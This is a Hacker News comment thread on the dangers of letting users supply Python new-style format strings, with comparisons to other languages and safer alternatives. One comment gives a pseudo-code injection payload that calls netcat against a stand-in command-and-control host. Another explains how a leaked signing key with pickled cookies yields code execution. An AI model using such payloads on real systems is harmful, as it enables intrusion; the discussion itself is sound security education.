Live data from Hacker News

Be Careful with Python's New-Style String Format

lucumr.pocoo.org

101–110 of 155 posts

Re: Be Careful with Python's New-Style String Format

#101
I was always puzzled by Python's insistence to forego string interpolation until the latest version.

Runtime string formatting, even if done safely (e.g. .NET's String.Format() which doesn't have property access AFAIK), can still cause unexpected exceptions at the very least, and suffers from inferior performance.

Re: Be Careful with Python's New-Style String Format

#102

Earlier quoted context omitted.

Neither does python. The problem being discussed here is that the format string can access and attribute of the object passed in. From PEP3101 [0]: " Unlike some other programming languages, you cannot embed arbitrary expressions in format strings. This is by design - the types of expressions that you can use is deliberately limited. Only two operators are supported: the '.' (getattr) operator, and the '[]' (getitem)…

Which is still not safe enough, and in effect can be used to access any global variable as described in the OP article. Rust formatting is done by macros - which expand at compile time and accept only string literals. This makes it impossible to pass user input to format!(), println!() and their ilk unless the end-user can access your compiler, in which case you have a much larger problem.

There are crates like https://crates.io/crates/strfmt which let you accept a non-literal.

Re: Be Careful with Python's New-Style String Format

#103
Odd they reference c# since c# does not have this feature in its traditional format strings - they don't allow you to access arbitrary members.

C# recently added string interpolation, which does allow arbitrary code, but string interpolation itself is compiled C# code and can't be stored like a format string.

Personally I use mustache when i need format-string-like-behavior from semi-trusted users.

Re: Be Careful with Python's New-Style String Format

#104
post #18

Earlier quoted context omitted.

Shouldn't that be based not on the built-in string capabilities, but on a template engine, that must also take care for much more narrow cases of abuse (e.g. SQL injection, or access to only of a restricted number of helper functions within the template)?

The author discovered this exploit in the template engine he wrote (Jinja2).

Why would a template engine allow for free access to the native platforms string capabilities in the first place?

Re: Be Careful with Python's New-Style String Format

#105
post #16

Earlier quoted context omitted.

Yes, but that's meant for trusted translators of the UI, nor arbitrary users, right?

In some applications, users can change the their own translations, which are stored in the DB, to allow for easier customization.

Still, no reason to save them in the platforms native string format and with full reign over native strings.

Re: Be Careful with Python's New-Style String Format

#106

Earlier quoted context omitted.

if you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data

It seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_and_c_box.example /dev/null')} Nothing to see here, move along"

Format strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.

Re: Be Careful with Python's New-Style String Format

#107

The proposed idea of relying on undocumented internals and blacklisting attribute names to securely sandbox formatting strings is _really_ _dangerous_. Never do that in production code! Language expansions could render your sandbox unsafe at any time. You can write your own safe formatting engine in much less code. def safe_format(fmt, **args): return re.sub(r'\{([^{}]*)\}', lambda m: args.get(m.group(1)), fmt) safe_…

The first bell added is likely to be field access.

Which immediately becomes a security risk because classes can overload __getattr__ and __getitem__. So now you're executing random code.

Of course, %s does the same thing (__str__) but at least %s doesn't take any arguments.

Re: Be Careful with Python's New-Style String Format

#108

Earlier quoted context omitted.

I think "it's not obvious how to sanitize input" is the main point here --- one advantage of the %-style format strings, they're easier to parse and escape.

But we don't want the string escaped. We want it interpreted.

yes, basically eval is evil

Re: Be Careful with Python's New-Style String Format

#109
post #83

Earlier quoted context omitted.

The example is not pathalogical. The property that the PEP states is that the expression should not have side effects, which is the case. Having pathological code in this context only elavates the severity from a pure data leak to partial code execution. Of course partial code execution in an unexpected context often leads to arbitrary code execution.

In many webapps, there's a very easy way to go from a data leak to arbitrary code execution. For instance, if you have signed cookies that are pickles of data, the cookie signing key lets you execute arbitrary code (because pickle deserialization can execute arbitrary code).

... which is why it's a poor idea to do that in the first place, since it has literally a single layer of protection against remote, unauthorized, arbitrary code execution, that depends on keeping a static key secret.

Much better idea to use a stupid, non-ACE serialization there.

Re: Be Careful with Python's New-Style String Format

#110
> So what do you do if you do need to let someone else provide format strings? You can use the somewhat undocumented internals to change the behavior.

Well, that's just sloppy and shame on you for exposing programming internals to a user in a service. What did you expect? Write your own format string parser and stop being lazy.

Post reply on HN